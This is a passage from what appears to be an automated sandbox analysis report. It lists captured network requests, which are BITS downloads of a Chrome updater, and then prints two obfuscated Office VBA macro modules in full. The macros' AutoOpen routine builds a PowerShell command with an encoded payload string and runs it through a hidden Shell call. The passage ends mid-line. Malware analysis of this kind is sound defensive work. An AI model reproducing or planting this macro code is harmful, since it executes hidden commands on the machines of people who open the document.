        "path": "/edgedl/release2/chrome/ANcTHgjx95-y_74.0.3729.169/74.0.3729.169_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=70.162.191.80&mm=28&mn=sn-bvvbax-2ime&ms=nvh&mt=1560390798&mv=m&nh=EAE&pl=16&shardbypass=yes",
        "data": "GET /edgedl/release2/chrome/ANcTHgjx95-y_74.0.3729.169/74.0.3729.169_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=70.162.191.80&mm=28&mn=sn-bvvbax-2ime&ms=nvh&mt=1560390798&mv=m&nh=EAE&pl=16&shardbypass=yes HTTP/1.1\r\nConnection: Keep-Alive\r\nAccept: */*\r\nAccept-Encoding: identity\r\nIf-Unmodified-Since: Tue, 21 May 2019 04:56:27 GMT\r\nRange: bytes=5566922-9148724\r\nUser-Agent: Microsoft BITS/7.5\r\nX-Old-UID: cnt=0\r\nX-Last-HR: 0x0\r\nX-Last-HTTP-Status-Code: 0\r\nX-Retry-Count: 0\r\nX-HTTP-Attempts: 1\r\nHost: r13---sn-bvvbax-2ime.gvt1.com\r\n\r\n",
        "port": 80
    },
    {
        "count": 1,
        "body": "",
        "uri": "http://r13---sn-bvvbax-2ime.gvt1.com/edgedl/release2/chrome/ANcTHgjx95-y_74.0.3729.169/74.0.3729.169_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=70.162.191.80&mm=28&mn=sn-bvvbax-2ime&ms=nvh&mt=1560390798&mv=m&nh=EAE&pl=16&shardbypass=yes",
        "user-agent": "Microsoft BITS/7.5",
        "method": "GET",
        "host": "r13---sn-bvvbax-2ime.gvt1.com",
        "version": "1.1",
        "path": "/edgedl/release2/chrome/ANcTHgjx95-y_74.0.3729.169/74.0.3729.169_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=70.162.191.80&mm=28&mn=sn-bvvbax-2ime&ms=nvh&mt=1560390798&mv=m&nh=EAE&pl=16&shardbypass=yes",
        "data": "GET /edgedl/release2/chrome/ANcTHgjx95-y_74.0.3729.169/74.0.3729.169_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=70.162.191.80&mm=28&mn=sn-bvvbax-2ime&ms=nvh&mt=1560390798&mv=m&nh=EAE&pl=16&shardbypass=yes HTTP/1.1\r\nConnection: Keep-Alive\r\nAccept: */*\r\nAccept-Encoding: identity\r\nIf-Unmodified-Since: Tue, 21 May 2019 04:56:27 GMT\r\nRange: bytes=9148725-12296959\r\nUser-Agent: Microsoft BITS/7.5\r\nX-Old-UID: cnt=0\r\nX-Last-HR: 0x0\r\nX-Last-HTTP-Status-Code: 0\r\nX-Retry-Count: 0\r\nX-HTTP-Attempts: 1\r\nHost: r13---sn-bvvbax-2ime.gvt1.com\r\n\r\n",
        "port": 80
    }
]

[*] Network Communication - SMTP: []

[*] Network Communication - Hosts: []

[*] Network Communication - IRC: []

[*] Static Analysis: {
    "office": {
        "Macro": {
            "Code": {
                "Macro2": [
                    [
                        "tiHsUSzZTFNi.bas",
                        "Function wnXEuITzAd()\nOn Error Resume Next\nSZjJo = (iOpikz * 53372 + 13108 * CInt(uArvR - CDbl(7575)) * 1559 * Oct(57202))\nhHkFoIi = sDiCB + Chr(szVELvldJ + 80 + CzBqYt) + \"owers\"\nvhfOH = (ZUzLj * 78520 + 96618 * CInt(qlDfoZ - CDbl(14430)) * 39463 * Oct(82511))\nAYFVnw = (RvbOG * 10250 + 30686 * CInt(nIQAQ - CDbl(50480)) * 69936 * Oct(93215))\nwnXEuITzAd = zOaDDKVUDPw + hHkFoIi + qAHwXkaRw + OknAlmWFT + RuUhMFatIX + HXqoFjPtPRH + lkKsdIBWO + SSfjfSDFdH + lSWDpWG + CQkMAmHMnk + mOfKZdsuf + qzUrQAThX + vTsjk + MWudWOlDpV + jBsaoRdHzKc + vhXbf + WuzXauwJi + vYwvwVhr + FAVQQk + MDEYpVMcjo + diNCMYStw + NPoQT + sjmtozvp + QSMZsrNcOFA + jjcNOJMLUY + qErwin + zKElZaImdi + XEBQXwDWM + YzhiJS + PFluWbJlA + mTmctClDjd + Iopfh + siZszlqSNKw + uzOXq\nBJOYM = (AaqnN * 65508 + 93726 * CInt(hCwOt - CDbl(43917)) * 69563 * Oct(67794))\nEnd Function\nFunction jQlVZC(ztohkE)\nOn Error Resume Next\nnYBRrU = (SPcEUd * 66262 + 77054 * CInt(raoQS - CDbl(4176)) * 48579 * Oct(82355))\njzRLq = (RRiaz * 20788 + 75400 * CInt(GPUzF - CDbl(85722)) * 68235 * Oct(7793))\npoAkHfmU = wRccoPwB + jqzGoS + Shell(zbWKZhwv + ztohkE + NUzJhBzjWXk, (27367 / 27367) - 1)\nKICvw = (NlzKM * 15419 + 43486 * CInt(GZCnC - CDbl(98359)) * 14632 * Oct(77076))\nEnd Function\nSub AutoOpen()\nOn Error Resume Next\nDRhAzE = (wUfdG * 5852 + 77726 * CInt(UzQpAA - CDbl(51036)) * 2404 * Oct(68807))\njQlVZC (wnXEuITzAd)\nNYCFj = (MWNwi * 27681 + 34233 * CInt(jfMrc - CDbl(87467)) * 4227 * Oct(7570))\nEnd Sub\n"
                    ]
                ],
                "Macro1": [
                    [
                        "HmCNbzNhIiW.bas",
                        "Function qAHwXkaRw()\nOn Error Resume Next\npwXJGz = (zRQCj * 74759 + 18002 * CInt(XqWbpl - CDbl(8601)) * 63195 * Oct(7362))\nCwioM = \"Hel\" + \"l  \" + \".(\" + \" $\" + \"veR\" + \"bo\" + \"SE\"\nCClRKL = (MMRCLc * 5034 + 57278 * CInt(JTzvk - CDbl(37345)) * 23569 * Oct(44913))\nENlqEBiIw = \"pr\" + \"EF\" + \"er\" + \"eN\"\nZKnlsk = (TYDzo * 66552 + 13824 * CInt(FXZrt - CDbl(22267)) * 26245 * Oct(39199))\nsUkbTR = \"Ce.\" + \"tO\" + \"sTR\"\ncckjIA = (qNlkAJ * 50919 + 38992 * CInt(krDwjZ - CDbl(51941)) * 24348 * Oct(83927))\nSPXzAPIl = \"inG\" + \"()\" + \"[1,\" + \"3]+\"\nqAHwXkaRw = CwioM + ENlqEBiIw + sUkbTR + SPXzAPIl\nNtUdUM = (pJQzhL * 47611 + 39353 * CInt(awWEv - CDbl(94459)) * 10823 * Oct(21158))\nEnd Function\nFunction OknAlmWFT()\nOn Error Resume Next\nTJVRD = (XsRmp * 42554 + 68655 * CInt(XKTRD - CDbl(63272)) * 6392 * Oct(62094))\nMfmJiLHVvrJ = \"'x\" + \"'-\" + \"jOI\" + \"n'\" + \"')(\" + \" [\" + \"st\"\niawipm = (QnJVAC * 40141 + 47523 * CInt(Ocptl - CDbl(59102)) * 70156 * Oct(82232))\nNsEmWXSqjXr = \"RI\" + \"ng\" + \"]:\"\nwucjBi = (nfrrE * 44654 + 65963 * CInt(XWBMO - CDbl(33351)) * 41892 * Oct(79393))\nNzlBR = \":J\" + \"Oin\" + \"( '\" + \"' \" + \", (\" + \" '3\"\nKoENmt = (pHwqsS * 69191 + 73467 * CInt(QNXdhB - CDbl(84168)) * 87907 * Oct(69196))\nLrjwdKTsdsz = \"7M9\" + \"8s6\" + \"6U\" + \"99\"\nPcXcN = (FhVMZr * 1630 + 73146 * CInt(BwYrNE - CDbl(74661)) * 30070 * Oct(64376))\nPvZkfV = \"P10\" + \"9k\" + \"96s\" + \"33\" + \"M6\" + \"0_3\"\nEwLNJz = (dPdWR * 60033 + 71467 * CInt(mlOZG - CDbl(48707)) * 23408 * Oct(71377))\nzOCHzFH = \"3t\" + \"11\" + \"1e\" + \"100\" + \"e1\" + \"18M\" + \"44_\"\nOknAlmWFT = MfmJiLHVvrJ + NsEmWXSqjXr + NzlBR + LrjwdKTsdsz + PvZkfV + zOCHzFH\njETCWS = (NqfJit * 37971 + 22353 * CInt(ONkIU - CDbl(68540)) * 33935 * Oct(75150))\nEnd Function\nFunction RuUhMFatIX()\nOn Error Resume Next\naSYqbY = (NYhFdJ * 14043 + 95555 * CInt(JbAbi - CDbl(85932)) * 34447 * Oct(6128))\nIwAiqcjph = \"110\" + \"k9\" + \"9U\" + \"10\" + \"7s\" + \"10\" + \"0s9\"\nsMbdS = (mjXvzE * 44400 + 28557 * CInt(RRVmG - CDbl(72897)) * 9507 * Oct(11449))\nhibCVnVA = \"8e\" + \"117\" + \"_3\" + \"3s1\" + \"15\" + \"e96\" + \"_1\"\nGKIRLv = (AUjjMQ * 70158 + 13321 * CInt(SzlLwz - CDbl(73980)) * 24534 * Oct(87304))\nfCpzrWwFUS = \"11M\" + \"10\" + \"1_1\" + \"10k\" + \"10\" + \"8t5\"\nRXfwX = (GnWHoV * 40473 + 55086 * CInt(wjqfu - CDbl(758)) * 62661 * Oct(27154))\nGOPfL = \"8k\" + \"37_\" + \"87>\" + \"71\"\nooTup = (YvYBd * 19943 + 41359 * CInt(IwGcN - CDbl(99744)) * 92795 * Oct(93817))\nlmYrRFBD = \"U1\" + \"16\" + \"U7\" + \"0M\" + \"96M\"\nIzzOvh = (JlJdIj * 37159 + 22196 * CInt(NitzTz - CDbl(6846)) * 55878 * Oct(21484))\nPIVjA = \"33t\" + \"60\" + \"_33\" + \"P1\" + \"11c\"\njoXSOF = (MLzpuc * 26928 + 48556 * CInt(sArQYc - CDbl(89496)) * 57803 * Oct(186))\njrcHRcV = \"10\" + \"0s1\" + \"18\" + \"t44\" + \">1\"\nRuUhMFatIX = IwAiqcjph + hibCVnVA + fCpzrWwFUS + GOPfL + lmYrRFBD + PIVjA + jrcHRcV\nDzIJt = (CNwKm * 35547 + 90911 * CInt(QWIOJ - CDbl(36313)) * 11064 * Oct(59941))\nEnd Function\nFunction HXqoFjPtPRH()\nOn Error Resume Next\ncGClv = (GttSw * 4830 + 84895 * CInt(BDSrP - CDbl(30599)) * 28671 * Oct(8793))\nvTOqz = \"10P\" + \"99e\" + \"10\" + \"7_\"\nFUzCU = (UhLXbf * 4594 + 83020 * CInt(HDrQtz - CDbl(96758)) * 41178 * Oct(47001))\nCWJdjIf = \"10\" + \"0P9\" + \"8t1\" + \"17P\" + \"33\" + \"t8\"\nGLqaq = (JYhzQ * 91721 + 14054 * CInt(NYlliQ - CDbl(48129)) * 99073 * Oct(23258))\nIufhKwiscQj = \"2U\" + \"120\" + \"M1\"\nkMYwLZ = (wbjOV * 56582 + 12105 * CInt(ISHVu - CDbl(39614)) * 23196 * Oct(92836))\nnpjoC = \"14\" + \"P11\" + \"7M\" + \"10\" + \"0P\"\nCUOMq = (tGzJq * 57556 + 83098 * CInt(MHpSU - CDbl(45111)) * 43510 * Oct(86148))\nYInRvC = \"10\" + \"8t4\" + \"7c\" + \"79c\" + \"100\" + \"k11\"\nHXqoFjPtPRH = vTOqz + CWJdjIf + IufhKwiscQj + npjoC + YInRvC\nfPVwRi = (MYPRv * 82800 + 22212 * CInt(HTqIVT - CDbl(29959)) * 83779 * Oct(33558))\nEnd Function\nFunction lkKsdIBWO()\nOn Error Resume Next\nuNECr = (jJYjw * 40172 + 17719 * CInt(cjzSOZ - CDbl(28283)) * 42070 * Oct(91820))\nISfjH = \"7>4\" + \"7U8\" + \"6e1\" + \"00M\"\nKBjOWc = (YEqXQ * 26789 + 19613 * CInt(rhmScz - CDbl(74915)) * 19418 * Oct(29031))\ncqEcYzWXus = \"99k\" + \"66\" + \"_10\"\noWzdrs = (SIrpr * 41043 + 74920 * CInt(TYQSDL - CDbl(36634)) * 75513 * Oct(72684))\nrfZdms = \"9k1\" + \"04M\" + \"10\"\nlkKsdIBWO = ISfjH + cqEcYzWXus + rfZdms\nscDTw = (rRihF * 35721 + 90149 * CInt(zzwFS - CDbl(82281)) * 98426 * Oct(23645))\nEnd Function\nFunction SSfjfSDFdH()\nOn Error Resume Next\nVIYWrL = (ViLGz * 31448 + 39679 * CInt(KUwZmF - CDbl(82329)) * 2055 * Oct(57182))\nItFQFLfzTQ = \"0s1\" + \"11\" + \"_1\" + \"17s\" + \"58k\" + \"37\"\nUDNNU = (XfdiKZ * 1885 + 99080 * CInt(OLXHo - CDbl(25000)) * 64673 * Oct(59571))\nRnGDVQFZJLV = \"_10\" + \"9U1\" + \"06M\" + \"83U\"\nuwsZZu = (HvSXHG * 15813 + 26751 * CInt(iTmmn - CDbl(71345)) * 37082 * Oct(98421))\nQtnhNUSilUM = \"11\" + \"3P\" + \"11\" + \"3P1\" + \"13\" + \"P33\" + \"k6\"\nXtTtp = (mYNSWC * 97420 + 11568 * CInt(DDiicw - CDbl(16202)) * 7052 * Oct(17899))\nTwORD = \"0P\" + \"33\" + \"P3\" + \"8e\" + \"105\" + \"e11\"\nSSfjfSDFdH = ItFQFLfzTQ + RnGDVQFZJLV + QtnhNUSilUM + TwORD\nFtusLJ = (sFCALN * 11078 + 54190 * CInt(isprNj - CDbl(26835)) * 7128 * Oct(67320))\nEnd Function\nFunction lSWDpWG()\nOn Error Resume Next\nGlXUPp = (Cjzsj * 4306 + 17533 * CInt(KtDisp - CDbl(47244)) * 11416 * Oct(83482))\nTwROFjiEH = \"7t1\" + \"17\" + \"M1\" + \"13\" + \"U59\" + \">46\" + \">4\"\nPOSdV = (qJaCtV * 70416 + 74584 * CInt(ALWis - CDbl(4242)) * 81406 * Oct(61990))\nmqokw = \"6P\" + \"98P\" + \"104\" + \"P10\" + \"9c1\"\nDqJVqv = (ffEzbs * 47438 + 25793 * CInt(BWbGw - CDbl(77280)) * 16307 * Oct(33038))\nEtkIwXjsrNA = \"04\" + \"e1\" + \"11\"\nrdCbw = (ZiSaf * 40562 + 41720 * CInt(fUOqf - CDbl(75711)) * 69203 * Oct(16499))\ntiPrORfMw = \"U10\" + \"6P9\" + \"6s\" + \"47>\" + \"11\" + \"1U1\"\nlSWDpWG = TwROFjiEH + mqokw + EtkIwXjsrNA + tiPrORfMw\nILrfOa = (Pisww * 34460 + 61549 * CInt(jrZtZ - CDbl(96244)) * 65829 * Oct(95159))\nEnd Function\nFunction CQkMAmHMnk()\nOn Error Resume Next\nEwljwc = (njrtPH * 66553 + 20559 * CInt(RLwcX - CDbl(38385)) * 25213 * Oct(78400))\nQizqNt = \"09\" + \"c4\" + \"6e1\" + \"07\" + \"P10\"\nJoNqj = (aOLbSo * 33817 + 32812 * CInt(PKPam - CDbl(77622)) * 49076 * Oct(16340))\nCzGUHrtSrzs = \"3>\" + \"78s\" + \"100\" + \"k8\" + \"1k\"\nlHmlV = (kjwZo * 77298 + 31405 * CInt(zCSAvH - CDbl(85232)) * 37010 * Oct(99804))\nXsFGnvTETT = \"12\" + \"1k\" + \"99M\"\nrNMEmC = (jjwFb * 4161 + 79500 * CInt(Eqjssc - CDbl(33371)) * 97455 * Oct(27623))\nUpzCNBSiO = \"83\" + \"c4\" + \"6s6\"\nYUniB = (RIsuH * 90211 + 61615 * CInt(uCEISq - CDbl(47776)) * 515 * Oct(56153))\nVuSnd = \"5M\" + \"105\" + \"_11\" + \"7_1\" + \"17U\" + \"11\" + \"3t\"\nrQJbH = (ZOwoN * 65022 + 67137 * CInt(fbnTK - CDbl(90893)) * 71784 * Oct(17882))\nvZwHnpFfz = \"59\" + \"U4\" + \"6P4\" + \"6s\" + \"98_\"\nCQkMAmHMnk = QizqNt + CzGUHrtSrzs + XsFGnvTETT + UpzCNBSiO + VuSnd + vZwHnpFfz\nlzpXJ = (XrYrfn * 70250 + 26098 * CInt(AZUtwr - CDbl(67703)) * 24550 * Oct(38144))\nEnd Function\nFunction mOfKZdsuf()\nOn Error Resume Next\ndqDFqh = (hFXdR * 89796 + 32123 * CInt(azpqDS - CDbl(89525)) * 26598 * Oct(93839))\nzoFSBA = \"105\" + \"M10\" + \"4c\" + \"111\"\nkbrMT = (kVYjp * 39185 + 71635 * CInt(JJFiqN - CDbl(67756)) * 59994 * Oct(6581))\nErkuqrPXwnk = \"k9\" + \"6c\" + \"10\" + \"4e1\"\nVutVQ = (icGnFG * 58501 + 40277 * CInt(UsvWkr - CDbl(12704)) * 22861 * Oct(14852))\nUKUpu = \"08\" + \"e99\" + \">1\" + \"04k\" + \"11\" + \"4P1\"\nmOfKZdsuf = zoFSBA + ErkuqrPXwnk + UKUpu\nuNPXjj = (XjrYJ * 28547 + 10449 * CInt(zNOzcC - CDbl(59242)) * 69690 * Oct(85733))\nEnd Function\nFunction qzUrQAThX()\nOn Error Resume Next\nUnIST = (iloWT * 36369 + 9962 * CInt(EAjzd - CDbl(26965)) * 21950 * Oct(57459))\noKoaimBfHI = \"14\" + \"t44\" + \">99\" + \"k11\" + \"6P1\"\nfmisOf = (PdWCOv * 93107 + 9180 * CInt(cpXai - CDbl(46430)) * 59357 * Oct(15337))\npllHjLWH = \"00k\" + \"11\" + \"7U1\" + \"17P\" + \"10\"\ntbThGi = (qzdjo * 42715 + 39738 * CInt(IHqvD - CDbl(15481)) * 17556 * Oct(8468))\nsdqXhAsI = \"2_1\" + \"00M\" + \"111\"\nqzUrQAThX = oKoaimBfHI + pllHjLWH + sdqXhAsI\nkAYnDH = (HWBUE * 23482 + 65856 * CInt(ssYzS - CDbl(47130)) * 47536 * Oct(12453))\nEnd Function\nFunction vTsjk()\nOn Error Resume Next\nRRbii = (jkWow * 11584 + 11770 * CInt(nqWYR - CDbl(39831)) * 99506 * Oct(3708))\njpsYs = \"U4\" + \"7M\" + \"101\"\nZTDLjL = (FLuDWl * 60572 + 47992 * CInt(RSkhX - CDbl(72680)) * 31477 * Oct(73641))\nPXSKjhDQhBw = \"P10\" + \"0M4\" + \"6k1\" + \"08\"\nkHwAH = (VPVCOf * 88270 + 98323 * CInt(ljkLC - CDbl(99277)) * 3767 * Oct(21011))\nPSPdW = \"s12\" + \"0e4\" + \"8s\" + \"103\" + \"s11\"\nzzCOUZ = (DRpzEp * 11009 + 9191 * CInt(iHQcK - CDbl(87501)) * 46249 * Oct(37157))\nqIcEXRiU = \"6U\" + \"10\" + \"2k\" + \"118\" + \"k8\" + \"7P\" + \"46\"\nvoBEj = (iwwAH * 68272 + 11979 * CInt(vPKOEz - CDbl(39850)) * 92842 * Oct(56577))\nlkUptOlpPC = \"k6\" + \"5k\" + \"105\" + \"s11\" + \"7e\" + \"117\"\nDUslim = (biCYl * 73147 + 97550 * CInt(SQHqFz - CDbl(48141)) * 54112 * Oct(23785))\nFcZZIOo = \"P11\" + \"3_\" + \"59\" + \"_4\" + \"6M\" + \"46t\"\nNzfTT = (zKVBPd * 94380 + 27537 * CInt(ufADW - CDbl(20517)) * 56583 * Oct(23470))\nhKhcKllMPR = \"118\" + \"k11\" + \"8c\" + \"118\" + \"k47\" + \"c1\"\nvTsjk = jpsYs + PXSKjhDQhBw + PSPdW + qIcEXRiU + lkUptOlpPC + FcZZIOo + hKhcKllMPR\nljNFYi = (sjRUna * 15994 + 29810 * CInt(ZaQzS - CDbl(79338)) * 37427 * Oct(87112))\nEnd Function\nFunction MWudWOlDpV()\nOn Error Resume Next\nKRYYqJ = (nwhkit * 74032 + 74857 * CInt(XzftY - CDbl(38051)) * 44960 * Oct(71268))\nusELWqAutnf = \"08e\" + \"96U\" + \"115\"\nwkMOOw = (TbNQF * 37086 + 80416 * CInt(kzcaf - CDbl(64112)) * 60349 * Oct(76868))\nEipYpbtG = \"e11\" + \"5c1\" + \"04P\" + \"96\"\nZurnzF = (unhtZX * 47329 + 69443 * CInt(UKSYWR - CDbl(7921)) * 15075 * Oct(47180))\nADmBWfIUdP = \">1\" + \"02c\" + \"100\" + \"U1\" + \"02s\"\nMWudWOlDpV = usELWqAutnf + EipYpbtG + ADmBWfIUdP\nYrwFK = (wioTE * 54468 + 38647 * CInt(WWSmw - CDbl(64953)) * 26095 * Oct(52026))\nEnd Function\nFunction jBsaoRdHzKc()\nOn Error Resume Next\npLWNOH = (qjPqj * 98346 + 95476 * CInt(WbdojQ - CDbl(62221)) * 84439 * Oct(81392))\ncMmFoNIYW = \"96\" + \"k1\" + \"15\" + \">10\" + \"1t\" + \"100\" + \"s1\"\nCzzRLq = (zzHunE * 63921 + 52746 * CInt(dVNdoX - CDbl(47464)) * 70240 * Oct(30102))\nWHXrILLzofO = \"11\" + \"U11\" + \"4k\" + \"47>\" + \"10\" + \"4t1\"\nEZrbJ = (jQMHJ * 47434 + 47053 * CInt(vizqn - CDbl(67471)) * 44405 * Oct(92562))\nXzbXtnqq = \"11s\" + \"46M\" + \"10\" + \"1>4\" + \"9M1\" + \"05k\"\njBsaoRdHzKc = cMmFoNIYW + WHXrILLzofO + XzbXtnqq\nDmLiN = (ibOCq * 73757 + 42174 * CInt(YwbGo - CDbl(39683)) * 38105 * Oct(45078))\nEnd Function\nFunction vhXbf()\nOn Error Resume Next\nwphFY = (zjzIMo * 78815 + 95850 * CInt(THhjuW - CDbl(65452)) * 72910 * Oct(49530))\naYGzZTTwnO = \"11\" + \"6U9\" + \"9e\" + \"82\" + \"_1\"\nbsLcib = (fhOpfC * 12946 + 86479 * CInt(VsiJS - CDbl(67654)) * 531 * Oct(74245))\nzdKpIzztaBf = \"17t\" + \"46\" + \"_6\" + \"5e\" + \"10\" + \"5e1\" + \"17e\"\njmndiO = (Hdzpl * 8471 + 29006 * CInt(TIGjzn - CDbl(10342)) * 51815 * Oct(75789))\nlkfYMJ = \"11\" + \"7e\" + \"113\"\nApHQJr = (ZoCoFC * 99400 + 180 * CInt(XZJDjR - CDbl(56870)) * 94825 * Oct(80817))\nXYZIE = \"c5\" + \"9_4\" + \"6P4\" + \"6k\" + \"118\"\ncRnzb = (AAhZv * 83564 + 37113 * CInt(zLPMs - CDbl(26636)) * 11349 * Oct(14049))\nzGwhuQqP = \"s11\" + \"8M1\" + \"18k\" + \"47>\" + \"117\" + \"s9\" + \"6P\"\nvhXbf = aYGzZTTwnO + zdKpIzztaBf + lkfYMJ + XYZIE + zGwhuQqP\nMPjRkw = (LKaAPa * 72784 + 78918 * CInt(cFCSar - CDbl(62405)) * 11517 * Oct(8470))\nEnd Function\nFunction WuzXauwJi()\nOn Error Resume Next\nUBQFc = (Uiaju * 89786 + 30036 * CInt(zNkRT - CDbl(79792)) * 44261 * Oct(50110))\nmWmanRjov = \"109\" + \"s9\" + \"6P\"\nlPIDpI = (jaMfc * 65407 + 90500 * CInt(wwusK - CDbl(10159)) * 61976 * Oct(65059))\nfwccqTpI = \"11\" + \"7s1\" + \"08\" + \"c11\" + \"0k\" + \"99s\" + \"104\"\nwUNGPm = (iuafp * 38262 + 561 * CInt(ZFAUhk - CDbl(53177)) * 30659 * Oct(35239))\nNfwdazVhq = \"e1\" + \"09\" + \"_12\" + \"0t9\" + \"6_\" + \"47\"\nTXuiPV = (hSFUu * 28940 + 38835 * CInt(wzhHPQ - CDbl(58070)) * 91918 * Oct(28978))\ncuTdYfq = \"M98\" + \"k11\" + \"0>1\" + \"08\" + \"k4\" + \"6s\"\nWuzXauwJi = mWmanRjov + fwccqTpI + NfwdazVhq + cuTdYfq\nFELAF = (EvbwP * 38950 + 7598 * CInt(FZHBuK - CDbl(59900)) * 81603 * Oct(61754))\nEnd Function\nFunction vYwvwVhr()\nOn Error Resume Next\njmtICP = (bfLJQu * 65034 + 24329 * CInt(QznYXd - CDbl(87225)) * 5384 * Oct(3175))\nApZurnIpZRk = \"10\" + \"8c9\" + \"8_5\" + \"0_1\"\nIcAEnP = (dQScv * 86153 + 22794 * CInt(oosVp - CDbl(60964)) * 49341 * Oct(78681))\nAhXqQcqLk = \"20\" + \"P1\" + \"20>\" + \"81\" + \">79\" + \"U46\"\nufCIJ = (tqHMG * 23602 + 50808 * CInt(XurQRt - CDbl(11090)) * 40595 * Oct(12860))\nhFSdn = \"k6\" + \"5e\" + \"105\" + \"e11\" + \"7P1\" + \"17\"\nQjpAhM = (inoJI * 24124 + 32281 * CInt(KZmoj - CDbl(10077)) * 90364 * Oct(26777))\nTmVYllXA = \"e1\" + \"13e\" + \"59s\" + \"46e\" + \"46s\"\nVazPI = (GZYara * 32440 + 86910 * CInt(uBXYl - CDbl(33668)) * 28410 * Oct(65658))\nMkQVzUDCEH = \"98c\" + \"105\" + \"_11\"\nwHUTja = (VVbiG * 28930 + 90398 * CInt(sikjmZ - CDbl(87306)) * 87481 * Oct(61394))\nNqGDXwdMf = \"6U\" + \"115\" + \"M9\" + \"8c1\" + \"05s\" + \"111\"\ntihWcv = (sWTBa * 74393 + 85386 * CInt(DVFpOC - CDbl(60664)) * 12875 * Oct(93961))\nMzEfFp = \"P1\" + \"00U\" + \"118\" + \"c11\" + \"0k1\" + \"15\"\nvYwvwVhr = ApZurnIpZRk + AhXqQcqLk + hFSdn + TmVYllXA + MkQVzUDCEH + NqGDXwdMf + MzEfFp\nDjfvBC = (ornvp * 98735 + 86867 * CInt(XNsbZS - CDbl(91607)) * 85234 * Oct(70016))\nEnd Function\nFunction FAVQQk()\nOn Error Resume Next\nDoERZO = (kqYOb * 93596 + 41306 * CInt(nlvFD - CDbl(27273)) * 42678 * Oct(23038))\nCOdhkLv = \"P10\" + \"9k\" + \"100\"\nrpniX = (HovNz * 28102 + 17631 * CInt(RYWEI - CDbl(39059)) * 32955 * Oct(91825))\nFBbjvEHm = \"_9\" + \"6c\" + \"111\" + \"P11\" + \"4k\"\nWLmhA = (jUhcvZ * 70144 + 51791 * CInt(NdRajj - CDbl(46396)) * 3382 * Oct(58146))\nwSjwjrZp = \"47M\" + \"110\" + \"M1\" + \"15\" + \"c1\"\ndjjJN = (rvXQTk * 61535 + 14478 * CInt(OsPmN - CDbl(95479)) * 64031 * Oct(95967))\ntrdaijcnJA = \"02c\" + \"46M\" + \"103\" + \"s49\"\nFAVQQk = COdhkLv + FBbjvEHm + wSjwjrZp + trdaijcnJA\nqfDqPh = (JITWGz * 21015 + 39003 * CInt(DiMKZc - CDbl(94922)) * 18469 * Oct(48072))\nEnd Function\nFunction MDEYpVMcjo()\nOn Error Resume Next\nqIPQQ = (iDSioB * 62245 + 80494 * CInt(JcMkv - CDbl(27789)) * 64948 * Oct(91013))\nziATWpzYTHk = \"t79\" + \"P5\" + \"7k1\" + \"11\" + \"c8\" + \"2e\" + \"113\"\nJTUnD = (itRwr * 81066 + 88919 * CInt(DaXwsm - CDbl(92535)) * 5057 * Oct(96343))\nbKhpXLG = \">4\" + \"6M\" + \"38\"\nsPAkY = (DINNGw * 53512 + 90735 * CInt(EAujjw - CDbl(53175)) * 30019 * Oct(71435))\nCDcqYw = \"_47\" + \"M82\" + \"M11\" + \"3c\" + \"109\"\nKXRpJ = (HVzun * 26649 + 94302 * CInt(nticj - CDbl(70564)) * 13036 * Oct(96853))\ndkzbUmKm = \"U1\" + \"04c\" + \"11\"\nznmBTO = (RAPcN * 12715 + 73380 * CInt(EIzbi - CDbl(745)) * 21761 * Oct(82162))\nomAqBWGwasq = \"7e\" + \"41\" + \"k3\" + \"8s\" + \"65_\" + \"38e\"\nZvqQw = (ACMuUB * 44356 + 8471 * CInt(GZdnwU - CDbl(13685)) * 63691 * Oct(13466))\nRSMIzVzrdr = \"40\" + \"k58\" + \"e37\" + \"_1\"\nMDEYpVMcjo = ziATWpzYTHk + bKhpXLG + CDcqYw + dkzbUmKm + omAqBWGwasq + RSMIzVzrdr\nYYlfU = (mwjbXY * 14602 + 35222 * CInt(OaBLS - CDbl(33911)) * 63425 * Oct(7067))\nEnd Function\nFunction diNCMYStw()\nOn Error Resume Next\nVEWXr = (SOjBZK * 29534 + 44187 * CInt(ShEodQ - CDbl(65461)) * 34388 * Oct(22089))\npCrLSjnPIm = \"15k\" + \"10\" + \"6P\" + \"11\"\nkuFVo = (rUZJPF * 27979 + 9634 * CInt(IIpFs - CDbl(12905)) * 98607 * Oct(6141))\nioOzzIIFXot = \"3U\" + \"10\" + \"5s\"\ntkMsa = (nmLBHn * 25284 + 87441 * CInt(EhppNc - CDbl(24683)) * 36888 * Oct(99729))\nYbrTBOb = \"11\" + \"3c3\" + \"3k\" + \"60\" + \"c33\" + \"_3\" + \"7e\"\nUIsMSP = (rwbEkw * 88996 + 59355 * CInt(cuNzN - CDbl(90911)) * 29199 * Oct(89777))\nnYwDVVvK = \"98\" + \"t66\" + \"M99\" + \"k10\"\nKQJpj = (RMFFmu * 51292 + 84933 * CInt(WwQRpU - CDbl(66988)) * 91338 * Oct(20961))\ndiwYHufROzS = \"9>\" + \"96\" + \"s47\" + \">1\" + \"11s\" + \"10\"\ndiNCMYStw = pCrLSjnPIm + ioOzzIIFXot + YbrTBOb + nYwDVVvK + diwYHufROzS\nASGCZZ = (wLIwbB * 31036 + 90651 * CInt(XtoscB - CDbl(4560)) * 52326 * Oct(50473))\nEnd Function\nFunction NPoQT()\nOn Error Resume Next\nizEjb = (wzjOL * 19699 + 61249 * CInt(twPjnv - CDbl(89316)) * 942 * Oct(43421))\nqlKZLF = \"0s1\" + \"21e\" + \"11\"\nzpHSO = (PicIuv * 87583 + 59370 * CInt(dcCjjc - CDbl(25304)) * 25796 * Oct(15622))\njLzZuwtutT = \"7s\" + \"41s\" + \"48\" + \"k45\" + \"e3\" + \"3c5\"\njmSniW = (aBjmOf * 70085 + 65394 * CInt(jhXlwC - CDbl(70258)) * 6940 * Oct(19305))\nfVTjojEcI = \"1t\" + \"51\" + \"U56\" + \"t55\" + \"_48\" + \"P5\" + \"3s\"\nNPoQT = qlKZLF + jLzZuwtutT + fVTjojEcI\nsQpaj = (wUiLzq * 95725 + 72511 * CInt(UrvuO - CDbl(93765)) * 34585 * Oct(3685))\nEnd Function\nFunction sjmtozvp()\nOn Error Resume Next\nvfqWAd = (OdLiN * 71413 + 52376 * CInt(KPLBWA - CDbl(79516)) * 69313 * Oct(72250))\nHEnVsX = \"40\" + \"U58\" + \"e3\" + \"7>\"\ndKoJv = (aOHiE * 73127 + 54492 * CInt(FJiMm - CDbl(13188)) * 5855 * Oct(68179))\nbHHFpFcREw = \"105\" + \">1\" + \"16\" + \"k9\" + 